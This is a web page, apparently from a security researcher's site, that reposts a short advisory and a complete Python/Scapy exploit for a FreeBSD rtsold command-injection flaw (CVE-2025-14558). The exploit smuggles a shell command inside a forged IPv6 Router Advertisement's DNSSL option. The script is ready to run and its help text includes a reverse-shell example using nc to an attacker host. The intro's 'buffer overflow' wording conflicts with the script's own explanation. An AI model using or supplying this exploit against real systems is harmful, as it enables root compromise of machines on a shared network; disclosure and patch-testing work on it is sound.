Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

FreeBSD rtsold 15.x Remote Code Execution
FreeBSD rtsold 15.x Remote Code Execution
A critical Remote Code Execution (RCE) vulnerability affects FreeBSD s `rtsold` A critical Remote Code Execution (RCE) vulnerability affects FreeBSD's `rtsold` daemon in version 15.x.

The `rtsold` daemon is responsible for handling IPv6 Router Solicitation and Advertisement messages. The vulnerability arises from improper handling of specific options within incoming IPv6 Router Advertisement (RA) packets.

A specially crafted RA packet can trigger a buffer overflow or similar memory corruption. This allows an unauthenticated, adjacent attacker (on the same network segment) to execute arbitrary code with the elevated privileges of the `rtsold` process, typically `root`.

This flaw represents a severe security risk, enabling full system compromise. Users are strongly advised to apply security patches immediately upon their release to mitigate this threat.

# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
# Date: 2025-12-16
# Exploit Author: Lukas Johannes M?ller
# Vendor Homepage: https://www.freebsd.org/
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
# Tested on: FreeBSD 14.1-RELEASE
# CVE: CVE-2025-14558
#
# Description:
# rtsold(8) processes IPv6 Router Advertisement DNSSL options without
# validating domain names for shell metacharacters. The decoded domains
# are passed to resolvconf(8), a shell script that uses unquoted variable
# expansion, enabling command injection via $() substitution.
#
# Requirements:
# - Layer 2 adjacency to target
# - Target running rtsold with ACCEPT_RTADV enabled
# - Root privileges (raw socket for sending RA)
# - Python 3 + Scapy
#
# References:
# https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
# https://github.com/JohannesLks/CVE-2025-14558

import argparse
import struct
import sys
import time

try:
from scapy.all import (
Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
)
except ImportError:
sys.exit("[!] Scapy required: pip install scapy")


def encode_domain(name):
"""Encode domain in DNS wire format (RFC 1035)."""
result = b""
for label in name.split("."):
if label:
data = label.encode()
result += bytes([len(data)]) + data
return result + b"\x00"


def encode_payload(cmd):
"""Encode payload as DNS label with $() wrapper for command substitution."""
payload = f"$({cmd})".encode()
if len(payload) > 63:
# Split long payloads across labels (dots inserted on decode)
result = b""
while payload:
chunk = payload[:63]
payload = payload[63:]
result += bytes([len(chunk)]) + chunk
return result + b"\x00"
return bytes([len(payload)]) + payload + b"\x00"


def build_dnssl(cmd, lifetime=0xFFFFFFFF):
"""Build DNSSL option (RFC 6106) with injected command."""
data = encode_domain("x.local") + encode_payload(cmd)

# Pad to 8-byte boundary
pad = (8 - (len(data) + 8) % 8) % 8
data += b"\x00" * pad

# Type=31 (DNSSL), Length in 8-octet units
length = (8 + len(data)) // 8
return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data


def build_ra(mac, payload):
"""Build Router Advertisement with malicious DNSSL."""
return (
Ether(src=mac, dst="33:33:00:00:00:01")
/ IPv6(src="fe80::1", dst="ff02::1", hlim=255)
/ ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
/ ICMPv6NDOptSrcLLAddr(lladdr=mac)
/ ICMPv6NDOptPrefixInfo(
prefixlen=64, L=1, A=1,
validlifetime=2592000, preferredlifetime=604800,
prefix="2001:db8::"
)
/ Raw(load=build_dnssl(payload))
)


def main():
p = argparse.ArgumentParser(
description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
epilog="Examples:\n"
" %(prog)s -i eth0\n"
" %(prog)s -i eth0 -p 'id>/tmp/pwned'\n"
" %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
formatter_class=argparse.RawDescriptionHelpFormatter
)
p.add_argument("-i", "--interface", required=True, help="Network interface")
p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
args = p.parse_args()

try:
mac = get_if_hwaddr(args.interface)
except Exception as e:
sys.exit(f"[!] Interface error: {e}")

print(f"[*] Interface: {args.interface} ({mac})")
print(f"[*] Payload: {args.payload}")

pkt = build_ra(mac, args.payload)

for i in range(args.count):
sendp(pkt, iface=args.interface, verbose=False)
print(f"[+] Sent RA {i+1}/{args.count}")
if i < args.count - 1:
time.sleep(1)

print("[+] Done")


if __name__ == "__main__":
main()

Social Media Share